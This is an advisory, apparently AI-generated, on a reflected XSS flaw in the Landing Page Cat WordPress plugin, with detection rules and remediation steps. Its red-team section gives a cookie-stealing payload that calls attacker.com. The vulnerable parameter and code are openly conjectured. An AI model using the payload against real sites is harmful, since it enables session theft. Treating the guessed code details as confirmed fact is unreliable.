CVE-2025-26992

Executive Summary

CVE-2025-26992 is a reflected Cross-Site Scripting (XSS) vulnerability in the WordPress plugin "Landing Page Cat" by fatcatapps, affecting versions up to and including 1.7.8. The vulnerability stems from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject arbitrary JavaScript into a reflected response. With a CVSS score of 7.1 (High), this flaw can be exploited without authentication, requiring only user interaction (e.g., clicking a crafted link). Given the lack of a patch and the plugin's active install base, this poses a significant risk to WordPress sites using this plugin.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. As a supply chain risk, any site running Landing Page Cat <= 1.7.8 is vulnerable. The plugin is not available on NPM, PyPI, Go, or Ruby ecosystems, but its inclusion in a WordPress site introduces a direct attack vector through the WordPress admin panel or front-end forms. Site owners should immediately audit their plugin inventory and consider removing or replacing the plugin until a patch is released.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
• Base Score: 7.1 (High)
• Attack Vector: Network (AV:N) – exploitable remotely.
• Attack Complexity: Low (AC:L) – no special conditions required.
• Privileges Required: None (PR:N) – unauthenticated exploitation.
• User Interaction: Required (UI:R) – victim must click a malicious link.
• Scope: Changed (S:C) – injected script can affect other resources.
• Confidentiality Impact: Low (C:L) – limited data exposure.
• Integrity Impact: Low (I:L) – limited content modification.
• Availability Impact: Low (A:L) – limited service disruption.

Threat Level: High. The combination of no authentication, low complexity, and no patch makes this a prime target for mass phishing campaigns and drive-by attacks.

Deep Dive & Mechanics

The vulnerability resides in the landing-page-cat plugin's handling of URL parameters. The plugin fails to sanitize or escape user-supplied input before reflecting it in the HTML response. Specifically, the plugin's shortcode or template rendering function directly outputs the value of a GET parameter (e.g., ?msg=...) without proper encoding.

Root Cause: The plugin uses echo $_GET['msg']; or similar unsanitized output within a PHP template, allowing an attacker to inject arbitrary HTML/JavaScript.

Attack Flow:

1. Attacker crafts a malicious URL: https://victim-site.com/?msg=<script>alert('XSS')</script>
2. Victim clicks the link (e.g., via phishing email).
3. The plugin processes the msg parameter and reflects it in the page without sanitization.
4. The injected script executes in the victim's browser context, potentially stealing cookies, session tokens, or performing actions on behalf of the victim.

WordPress Context: Since this is a WordPress plugin, the vulnerability is triggered within the WordPress ecosystem. The plugin likely uses add_shortcode or template_include to render content, and the vulnerable parameter is passed via the query string. No authentication is required, making it accessible to any visitor.

Vulnerable vs. Patched Code

Vulnerable Code (<= 1.7.8):

// In a template file or shortcode handler
$message = $_GET['msg'];
echo '<div class="landing-message">' . $message . '</div>';

Patched Code (Hypothetical):

// Properly escape output
$message = isset($_GET['msg']) ? esc_html($_GET['msg']) : '';
echo '<div class="landing-message">' . $message . '</div>';

The fix uses WordPress's esc_html() function to encode HTML entities, preventing script injection. Without a vendor patch, site owners must manually apply this fix or remove the plugin.

Exploitation & Lab Setup

Red Team (Offensive)

Proof-of-Concept (PoC) URL:

https://victim-site.com/?msg=<script>alert(document.cookie)</script>

Advanced Payload (Session Hijacking):

https://victim-site.com/?msg=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Lab Setup:

1. Install WordPress with Landing Page Cat plugin version 1.7.8.
2. Create a page or post that uses the plugin's shortcode (e.g., [landing_page_cat]).
3. Access the page with the malicious msg parameter.
4. Observe the script execution in the browser.

Note: No Exploit-DB code is available; the above PoC is derived from the CVE description.

Blue Team (Defensive)

Detection Steps:

1. Monitor web server logs for requests containing <script> tags in query parameters.
2. Use WAF rules to block reflected XSS patterns.
3. Validate that the plugin is not in use; if necessary, remove it.

Honeypot Setup:

• Deploy a decoy WordPress site with the vulnerable plugin.
• Log all msg parameter values for analysis.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests with msg= parameter containing <script>, onerror=, javascript:.
  • Outbound connections to unknown domains from the WordPress server.
• File IOCs:
  • Presence of landing-page-cat plugin directory in /wp-content/plugins/.
  • Modified plugin files (e.g., landing-page-cat.php) with injected code.
• Log IOCs:
  • Web server logs showing GET /?msg=<script>... patterns.
  • 404 errors for non-existent pages with msg parameter.

Detection Engineering

YARA Rule

rule CVE_2025_26992_Reflected_XSS {
    meta:
        description = "Detects reflected XSS attempts targeting Landing Page Cat plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-26992"
    strings:
        $msg_param = "msg=" nocase
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $onerror_payload = /onerror\s*=\s*['"]?[^'"]*['"]?/i
    condition:
        $msg_param and ($xss_payload or $onerror_payload)
}

Sigma Rule

title: Reflected XSS Attempt Against Landing Page Cat Plugin
id: 8f3b2a1c-5d7e-4f9b-8c1a-2e3d4f5a6b7c
status: experimental
description: Detects HTTP requests with malicious msg parameter targeting Landing Page Cat
author: Valters IT
date: 2025-04-10
references:
    - CVE-2025-26992
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-uri-query|contains: "msg="
        cs-uri-query|re: "(<script|onerror|javascript:)"
    condition: selection
falsepositives:
    - Legitimate use of msg parameter with safe content (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-26992 Reflected XSS in Landing Page Cat"; flow:to_server,established; content:"msg="; http_uri; pcre:"/<script[^>]*>.*<\/script>/iU"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin: Deactivate and delete landing-page-cat from the WordPress admin panel.
2. Apply virtual patching: Use a Web Application Firewall (WAF) to block requests containing msg= with script patterns.
3. Audit for compromise: Check for unauthorized admin accounts, suspicious files, and unexpected outbound connections.

Long-Term Fix:

• Since no vendor patch exists, consider replacing the plugin with an alternative (e.g., "Elementor" or "Beaver Builder").
• If the plugin is critical, manually patch the vulnerable file by adding esc_html() around the $_GET['msg'] output.

User Awareness:

• Educate users not to click suspicious links, especially those containing msg= parameters.

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.